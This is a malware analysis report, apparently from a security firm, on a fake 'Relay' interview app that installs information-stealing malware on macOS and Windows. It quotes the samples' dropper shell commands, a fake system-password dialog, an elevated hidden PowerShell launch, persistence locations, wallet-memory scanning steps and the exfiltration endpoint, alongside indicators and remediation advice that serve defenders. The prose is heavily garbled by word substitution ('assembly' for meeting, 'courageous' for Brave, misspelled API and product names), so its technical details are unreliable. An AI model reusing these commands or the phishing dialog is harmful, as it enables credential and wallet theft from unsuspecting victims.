|

Threat Intelligence | Job Scam Alert: Interview Software Used to Deliver Info-Stealing Malware

The website presents itself as Relay, an AI-powered assembly and collaboration platform, claiming to supply options reminiscent of real-time transcription, collaborative notes, AI-generated summaries, motion gadgets, and cross-platform desktop shoppers. For somebody attending a distant interview, this workflow doesn’t seem uncommon. Being requested to set up a “assembly software” earlier than the following interview stage looks as if a routine a part of the hiring course of. The public-facing pages on relay.lc reinforce this impression by selling these options and offering obtain hyperlinks for each Windows and macOS.

On macOS, customers are instructed to open Terminal, drag the downloaded file into the terminal window, and press Enter. On Windows, customers merely launch the installer and wait whereas an “Updating” progress bar slowly advances to 80%.

One course of resembles a guide set up, whereas the opposite appears to be like like a routine software program replace. However, as soon as the installers are unpacked, a distinct image emerges.

On macOS, the disk picture accommodates no reputable .app software in any respect. Instead, the executable is hidden inside a .again listing that Finder doesn’t show by default.

On Windows, the code accountable for displaying the replace progress doesn’t calculate the progress worth from any precise obtain or set up exercise. When the progress bar reaches 80%, the code sends an inside message named runUpdate relatively than indicating that the replace has accomplished. More notably, within the compiled code that controls the applying’s predominant logic, this message seems alongside a PowerShell command that requests administrator privileges and launches updater.exe with its window hidden. However, the code path connecting the message to the command has not but been absolutely reconstructed from the compiled intermediate code.

Scope of Analysis: The technical evaluation on this article relies completely on unpacking the 2 samples, decoding their uncooked knowledge, and cross-validating the outcomes by means of code disassembly. No samples had been executed through the evaluation, and no connections had been made to any embedded distant infrastructure.

MistEye Response

MistEye is a Web3 risk intelligence and dynamic safety monitoring system independently developed by SlowMist. It combines safety monitoring with risk intelligence aggregation to present real-time danger alerts and asset safety.

After the group experiences had been introduced into the investigation, MistEye flagged relay.lc as a high-risk web site. The SlowMist safety staff then performed a source-level overview of each installers. The detailed technical evaluation is offered under.

macOS

No reputable software contained in the disk picture

Relay.dmg is a typical macOS disk picture format. Legitimate macOS software program is often packaged as an .app bundle that customers can drag into the Applications folder. However, after opening this disk picture, solely the next information are current:

/Volumes/Relay/
 ├── Installer.file      # 921-byte shell script
 ├── Open Terminal       # Shortcut to the system Terminal.app
 ├── .again/
 │   └── installer       # 5.2 MB common executable, the precise payload
 └── .fseventsd/

There isn’t any .app bundle and no normal .pkg installer. The Open Terminal merchandise is solely a shortcut to the built-in Terminal software. The precise executable is hidden inside a .again listing, which Finder doesn’t show by default.

Dragging into Terminal is just not an set up step

The Installer.file script accommodates the next instructions:

cp -r "$APP_PATH" "$TEMP_APP"
xattr -c "$TEMP_APP"
chmod +x "$TEMP_APP"
nohup /tmp/installer &>/dev/null &

These 4 instructions carry out the next actions in sequence: copy the hidden executable to the system’s non permanent listing (/tmp), take away its prolonged attributes, grant execute permission, and launch it silently within the background after clearing the terminal output.

The script even contains feedback explaining why it doesn’t use Apple’s official code signing and notarization course of, citing “decreasing complexity” and “protecting issues easy and clear.”

This conduct is intently tied to macOS safety mechanisms. Files downloaded from the Internet are routinely assigned a quarantine attribute, one among macOS’s prolonged file attributes. When such a file is opened for the primary time, the system shows a warning asking the person to verify its origin. The xattr -c command removes these prolonged attributes, together with the quarantine flag.

No system vulnerability is concerned. The person manually opens Terminal and executes the script, which then removes the quarantine attribute from the copied file on the person’s behalf. What seems to be a guide set up is, in actuality, a course of that disables one among macOS’s built-in safety warnings.

The code prepares each candidate passwords and Keychain knowledge

Inside the hidden executable, many delicate strings are encoded utilizing a set key, stopping them from being found by means of bizarre string searches.

Decoding these strings reveals two distant endpoints:

It additionally reveals an AppleScript dialog designed to impersonate a system immediate:


show dialog "The present model of the app is just not absolutely
 appropriate together with your model of MacOS.

 For the app to work accurately please, enter password of your
 system." with title "Application Error" default reply ""
 with icon warning buttons {"Continue"} default button "Continue"
 with hidden reply

The dialog is titled “Application Error” and falsely claims that the applying is incompatible with the present model of macOS, asking the person to enter their system password. Because with hidden reply masks the enter with dots, it resembles a reputable system authentication immediate. In actuality, it is just a typical AppleScript dialog.

The code shops the dialog’s return worth beneath the PWD: label in preparation for community transmission.

At the identical time, it accommodates performance to learn the ~/Library/Keychains/login.keychain-db file, the macOS login Keychain database used to retailer person credentials. Three decoded fields reveal the supposed payload:

{
   "passw": "<candidate password returned by the dialog>",
   "file": "<contents of login.keychain-db>"
}

Both gadgets are included in a community request concentrating on the db/debug endpoint.

Because the macOS login Keychain is often unlocked utilizing the identical password because the person’s login password, pairing the candidate password with the Keychain database in a single request is equal to amassing each the important thing and the lock. Whoever receives the info can try to unlock the Keychain database in their very own surroundings utilizing the provided password.

Browser, extension, Telegram, and Notes assortment logic

In addition to the Keychain, this system accommodates logic to extract knowledge from browsers together with Chrome, Brave, Edge, and Arc. The focused knowledge contains saved web site passwords, cookies (session credentials), service tokens, bank card info, autofill data, and looking historical past.

The code additionally embeds an extension mapping desk referenced 304 instances, protecting 286 totally different extension IDs. The focused extensions embrace cryptocurrency wallets reminiscent of MetaMask, Phantom, and Trust Wallet, in addition to password managers together with 1Passphrase, FinalPass, Proton Pass, and Dashlane.

For software knowledge, the code decodes and references the tdata listing utilized by Telegram Desktop. This listing shops native session and login info. If efficiently copied, it may be used to restore an current Telegram session and take over the account on one other machine (see Telegram Account Compromised, Wallet Swapped: How Does macOS Malware Break Through Your Defenses?).

The Apple Notes assortment script traverses accounts, folders, and notes, reads every observe’s contents, and saves them as .html information named after the observe titles. If customers have saved mnemonic phrases, restoration codes, or API keys in Apple Notes, these contents may additionally be collected.

The code additionally gathers system info, together with the {hardware} UUID (machine identifier), IP handle, and nation, and checks whether or not Ledger Live and Trezor Suite are put in.

The course of could proceed after Terminal closes, however no reboot persistence was discovered

We examined artifacts associated to LaunchAgents, LaunchDaemons (macOS startup providers), launchctl, cron jobs, and login gadgets. Based on the recoverable knowledge, no persistence mechanism that survives a system reboot was recognized.

The use of nohup within the launch script permits the method to proceed working after the Terminal window is closed, however it is not going to restart routinely after the system reboots. Based on this system construction, its design seems centered on finishing knowledge assortment, packaging, and community transmission inside a single execution.

In distinction, the Windows pattern implements three separate persistence makes an attempt by creating startup entries beneath the Run registry key, the RunOnce registry key, and the Startup folder earlier than continuing to its extension course of reminiscence scanning logic.

Windows

What customers see is “Updating”, however the code is just working a random countdown

The Windows installer is an NSIS-packed self-extracting executable. After extraction, it accommodates an software constructed with the Electron framework (a software for constructing desktop purposes utilizing internet applied sciences), with model 2.9.0.

The code accountable for rendering the interface defines the RELAY branding and a repeatedly progressing “Updating” progress bar. The standing messages displayed alongside the progress adjustments — reminiscent of “Loading core elements”, “Verifying native information”, and “Starting background providers” — make it seem as if a reputable replace course of is taking place.

However, the UI code straight exhibits that the progress bar has nothing to do with any precise obtain, verification, or set up process:

The progress worth begins at 4 and will increase each 1.4 seconds by a random worth higher than or equal to 0 and fewer than 12.

Six increments can not attain 80. The seventh increment is the earliest level the place the edge will be triggered, that means the theoretical quickest completion time is roughly 9.8 seconds. However, as a result of the random increment could stay shut to zero every time and the code doesn’t outline a most variety of iterations, static evaluation can not decide the worst-case period.

The standing messages are switched mechanically utilizing Math.ground(subsequent / 20) and don’t have any relationship with the precise state of any background process.

Once the progress reaches 80%, the progress bar stops, and the code sends an inside message named runUpdate.

After reaching 80%, the code makes an attempt to launch one other program with administrator privileges

Once the progress reaches 80%, the runUpdate message is despatched.

In the code accountable for controlling the applying’s predominant logic, we discovered the module that receives this message, the file path of updater.exe, and a PowerShell command:

powershell -NoProfile -ExecutionPolicy Bypass -Command
   "Start-Process -FilePath '<resourcesupdater.exe>'
    -Verb RunAs -WindowStyle Hidden"

This command units three parameters for the PowerShell course of:

  • ExecutionPolicy Bypass: bypasses PowerShell execution coverage checks;
  • -Verb RunAs: requests UAC elevation;
  • -WindowStyle Hidden: launches the method with its window hidden.

updater.exe is roughly 116 MB in dimension and has no digital signature. Its personal configuration additionally declares that administrator privileges are required.

Inside updater.exe, compiled modules and goal fields associated to browser knowledge, Telegram, desktop wallets, and system info assortment are current.

It additionally embeds a smaller standalone program accountable particularly for configuring reboot persistence and scanning the reminiscence of Chrome and Brave extension processes.

Main execution path makes an attempt persistence first, then scans course of reminiscence

The embedded program inside updater.exe makes use of the inner module title callsoul.

Its predominant workflow implements three sorts of reboot persistence mechanisms:

First, it makes an attempt to copy itself to:

%APPDATApercentMicrosoftWindowsLibrariesServicesysupdwin.exe

and units the hidden and system file attributes, making the file invisible by default in Windows Explorer.

It then makes an attempt to create startup entries by means of three separate places:

  1. The Windows Registry Run key;
  2. The Windows Registry RunOnce key;
  3. The Windows Startup folder.

Both registry worth names and shortcut names are disguised as:

  • WindowsSysUpdateCheck
  • Windows Update

The code makes an attempt all three unbiased persistence strategies. If any one among them succeeds, this system could routinely execute after a system reboot.

After the persistence operate name in the principle execution path, the code proceeds to the reminiscence scanning logic concentrating on Chrome and Brave extension processes.

Reading extension reminiscence throughout processes to find pockets unlock-related parameters

This pattern implements a code path that differs from typical browser info stealers. Instead of solely studying browser native storage information, it additionally accommodates logic to open Chrome and Brave extension processes and scan particular content material saved of their reminiscence:

  1. Enumerate all working processes on the system and filter for processes whose names comprise chrome or courageous, with extension-process current within the startup command line (the marker for extension processes);
  2. Open the goal course of utilizing OpenProcess(0x410) to request permission for studying course of reminiscence;
  3. Use VirtualQueryEx to question the reminiscence structure of the goal course of area by area;
  4. For digital reminiscence areas with a MEM_COMMIT state and readable safety attributes, name LearnProcessReminiscence to extract the reminiscence contents;
  5. Search the extracted content material for syncPasswordAndUnlockWallet (that means “sync password and unlock pockets” — a way title related to unlock operations in browser pockets extensions);
  6. Near the matched location, use common expressions to extract the primary parameter from the params array inside the JSON construction.

The extracted parameters are assembled into:

{
   "h": "<machine GUID>",
   "v": "<worth extracted from extension course of reminiscence>",
   "b": "chrome or courageous"
}

Here, h represents the identifier of the present Windows set up occasion (learn from the registry MachineGuid), v is the parameter worth captured from reminiscence, and b signifies whether or not the info originated from Chrome or Brave.

The code then makes use of an HTTP request library to ship the JSON above because the request physique and makes an attempt to make an HTTPS POST request to:

https://e1.cdnresolver.com/lk/p1

Sentry telemetry: one other community channel

The program additionally accommodates a configured Sentry endpoint. Sentry is a cloud service generally utilized by builders to monitor software errors.

The pattern invokes Sentry reporting features throughout a number of logic branches, together with sending customized messages and capturing exceptions. The reported context info accommodates:

  • MachineGuid;
  • Process ID;
  • Browser identifier;
  • Stage labels reminiscent of Init, Conn, and Success.

In the department dealing with POST outcomes, the info construction containing h/v/b can also be included in Sentry experiences, indicating that the v subject is transmitted by means of this community channel as properly.

The main POST path for delicate parameters nonetheless factors to cdnresolver.com. The Sentry channel seems extra like a mechanism for builders to monitor their very own software program operation — besides on this case, the software program being monitored is malware.

It is value noting that the distant addresses extracted from the macOS pattern additionally embrace e1[.]cdnresolver[.]com (with a2 as one other candidate). The two installers got here from the identical web site, used fully totally different expertise stacks, but finally pointed to the very same hostname.

FYMeet Clues within the Windows Sample

In the principle course of V8 bytecode of the Windows pattern, there’s a compiled fixed that doesn’t match the present Relay branding:

com.fymeet.app

Meanwhile, the pattern’s self-copy goal filename sysupdwin.exe and registry worth title WindowsSysUpdateCheck are additionally unrelated to the Relay branding.

In June 2026, a job seeker publicly shared their expertise of observing sysupdatewin.exe, sysupdwin.exe processes, and startup persistence conduct after putting in fyMeet.exe.

These course of filenames overlap with these discovered within the present pattern. However, as a result of the unique FYMeet pattern is unavailable, we are able to solely verify the naming overlap at this stage. We can not decide whether or not there’s any shared lineage, element reuse, or connection to the identical operator.

Summary

A group lead directed the investigation towards relay.lc. The web site ready fully totally different entry strategies for macOS and Windows customers, whereas the 2 installers carried out complementary delicate knowledge assortment capabilities on the code stage.

The assault chain was designed round platform-specific person habits.

The macOS model leveraged the “drag into Terminal” interplay, packaged as a handy set up methodology, to information customers into executing a script that removes the native file’s origin marker and makes an attempt to launch a hidden program.

The Windows model used a pretend progress bar to create a ready interval (triggering in roughly 9.8 seconds on the quickest, whereas the supply code doesn’t outline a most period). After the progress reached 80%, it despatched a runUpdate message. The bytecode additionally contained each a PowerShell command requesting administrator privileges and a path fixed pointing to the unsigned updater.exe.

The two assault chains dealt with delicate knowledge otherwise.

The macOS code creates a pretend system error dialog to request the person’s password, whereas additionally implementing logic to learn the login Keychain database. It combines the candidate password and Keychain file right into a pending community request.

The Windows code makes an attempt to set up reboot persistence, then scans Chrome and Brave extension course of reminiscence, searches for syncPasswordAndUnlockWallet-related messages, extracts parameters, and makes an attempt to POST the info to e1[.]cdnresolver[.]com/lk/p1 utilizing an h/v/b JSON construction.

The scope of danger indicated by the code extends far past a single pockets.

The presence of logic or module references for amassing browser periods, password supervisor knowledge, Keychain contents, Telegram native knowledge, Notes content material, and system info signifies {that a} single an infection may doubtlessly unfold from a private machine to organizational accounts.

Recommendations

If the file was solely downloaded however not executed:

  1. Delete the downloaded DMG or EXE file and empty the Trash/Recycle Bin.
  2. Block the domains and hashes listed on this report by means of gateways, DNS, and EDR techniques.
  3. Simply downloading the file doesn’t essentially imply credentials have been compromised. Whether the file was executed is the important thing distinction.

If the macOS pattern was executed (dragged into Terminal and pressed Enter):

  1. Immediately disconnect the machine from the community, however don’t reboot first, so as to protect forensic proof.
  2. From a clear machine, change the macOS login password and Apple ID password.
  3. Rotate high-value credentials saved in Keychain, together with passwords, API keys, SSH credentials, and cloud credentials.
  4. Revoke all browser login periods (not simply change passwords), and terminate different lively Telegram periods.
  5. If a password was entered into the pretend dialog, deal with the incident beneath the worst-case assumption that each the login password and Keychain contents could have been uncovered.
  6. If browser pockets extensions had been used, create new wallets with recent mnemonic phrases or personal keys from a clear machine and migrate property.
  7. Check whether or not the listing ~/Documents/Downloads/knowledge/ and telemetry2.zip exist.

If the Windows pattern was executed:

  1. Immediately disconnect and isolate the host. Do not proceed getting into passwords or unlocking wallets on the contaminated machine.
  2. Investigate and isolate:
%APPDATApercentMicrosoftWindowsLibrariesServicesysupdwin.exe

3. Remove the WindowsSysUpdateCheck entries from Run and RunOnce, in addition to Windows Update.lnk from the Startup folder, however protect forensic proof first.

4. From a clear machine, change saved browser passwords, revoke lively periods, and invalidate API tokens and cloud credentials.

5. If browser pockets extensions had been used, assume pockets unlock-related delicate parameters could have been uncovered and migrate property from a clear machine.

6. For Windows techniques confirmed to have executed the pattern, the most secure restoration methodology is to reinstall the working system.

These suggestions are based mostly on worst-case defensive assumptions derived from confirmed code capabilities.

The Windows program scans parameters that exist already or later seem in extension processes. Cookies and tokens may additionally be reused whereas periods stay legitimate. Therefore, incident response shouldn’t focus solely on whether or not on-chain property have modified.

IOC

Domains

relay[.]lc

e1[.]cdnresolver[.]com

a2[.]cdnresolver[.]com

cdnresolver[.]com

URLs

https[:]//e1[.]cdnresolver[.]com/m/check

https[:]//a2[.]cdnresolver[.]com/m/check

https[:]//e1[.]cdnresolver[.]com/lk/p1

Malicious Files

filename: Relay.dmg
SHA256: 6bc9378366076a028365ecff61ab868fe51bf988c18588c29c393a5488eafe0c

filename: Installer.file
SHA256: 271ed218b2a3fddd38529c3730491078a7737afa5f78b873592a2946fb86ab2e

filename: installer
SHA256: e434755827e48f4e0693c83aa51b99e4600d5b0e625da1e80963b783a78de070

filename: Relay.exe
SHA256: 4a7ef5aec036dc7cff3eeece774caa2500bcd9f3d7712799637dab2645dfc265

filename: updater.exe
SHA256: 64fa024e0563eb6fa06cb6437c76a652021a93dff78979496b4b005e61639e78

filename: callsoul.exe
SHA256: cd7500d51c200fe0493f16d8870d79359faf9ba9b121d453b28f871ec252579d

About MistEye

MistEye is a Web3 risk intelligence and dynamic safety monitoring platform independently developed by SlowMist. Through its API, MistEye supplies malicious exercise detection and provide chain danger alerting capabilities for the open-source package deal ecosystem.

All malicious packages and IOCs concerned on this operation have been built-in into the MistEye risk detection engine. Developers can use the API to routinely scan undertaking dependencies, shortly decide whether or not recognized malicious packages are current, and procure beneficial remediation actions.

📖 API Documentation: https://app.misteye.io/api-docs

🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan

A light-weight CLI software that scans undertaking dependencies and globally put in packages for recognized malicious packages with a single command. It helps the npm, PyPI, Cargo, Go, and RubyGems ecosystems.

🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills

A safety ability package deal for AI coding assistants that routinely triggers MistEye safety checks earlier than dependency set up and URL entry.

🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard

A DNS safety safety software that detects malicious domains and dangerous connections, serving to block phishing, C2 infrastructure, and different community threats.

This article was ready by the SlowMist Threat Intelligence Team based mostly on the MistEye risk intelligence system and SlowMist Agent AI-driven evaluation. For any questions or suggestions, please be happy to contact us.

About SlowMist

SlowMist is a risk intelligence agency centered on blockchain safety, established in January 2018. The agency was began by a staff with over ten years of community safety expertise to turn into a world drive. Our purpose is to make the blockchain ecosystem as safe as attainable for everybody. We at the moment are a famend worldwide blockchain safety agency that has labored on numerous well-known tasks reminiscent of HashKey Exchange, OSL, MEEX, BGE, BTCBOX, Bitget, BHEX.SG, OKX, Binance, HTX, Amber Group, Crypto.com, and so forth.

SlowMist gives a wide range of providers that embrace however usually are not restricted to safety audits, risk info, protection deployment, safety consultants, and different security-related providers. We additionally supply AML (Anti-money laundering) software program, MistEye (Security Monitoring), SlowMist Hacked (Crypto hack archives), FireWall.x (Smart contract firewall) and different SaaS merchandise. We have partnerships with home and worldwide corporations reminiscent of Akamai, BitDefender, RC², TianJi Partners, IPIP, and so forth. Our intensive work in cryptocurrency crime investigations has been cited by worldwide organizations and authorities our bodies, together with the United Nations Security Council and the United Nations Office on Drugs and Crime.

By delivering a complete safety answer custom-made to particular person tasks, we are able to determine dangers and stop them from occurring. Our staff was ready to discover and publish a number of high-risk blockchain safety flaws. By doing so, we may unfold consciousness and lift the safety requirements within the blockchain ecosystem.

Similar Posts